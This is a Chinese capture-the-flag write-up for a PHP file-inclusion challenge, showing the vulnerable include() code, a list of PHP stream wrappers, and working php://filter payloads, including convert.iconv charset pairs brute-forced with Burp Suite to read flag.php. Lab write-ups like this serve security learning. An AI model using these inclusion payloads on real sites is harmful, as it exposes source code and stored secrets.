攻防世界-题目名称-文件包含

提示：本人24小时在线，如有疑问，可联系我！

---

前言

攻防世界-题目名称-文件包含

一、题目？

二、解决方法

文件包含----------------可看这篇文章。

代码

代码如下：

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

盲猜负载应该类似这种！

?filename=check.php

使用御剑扫描看看：

2.php伪协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

使用php://filter
加：convert.base64-encode
即：php://filter/read=convert.base64-encode/resource=flag.php
也不行，还是被过滤了。
convert.iconv 相当于用了 iconv() 函数，这个函数我记得是转换数据的字符集。
试试。

试试：?filename=php://filter/convert.iconv.§UTF-7§.§UCS-4*§/resource=flag.php
使用burpsuit爆破试试
常见字符集 可复制里面的。


1和2都要设置。

可能还有其他的。可以找找！
放包，从网页里复制。burpsuit复制不到。

cyberpeace{c31ccf8a3ec3flla3l83db699l7dl7b}

---

总结

常见文件包含漏洞。php:filter//过滤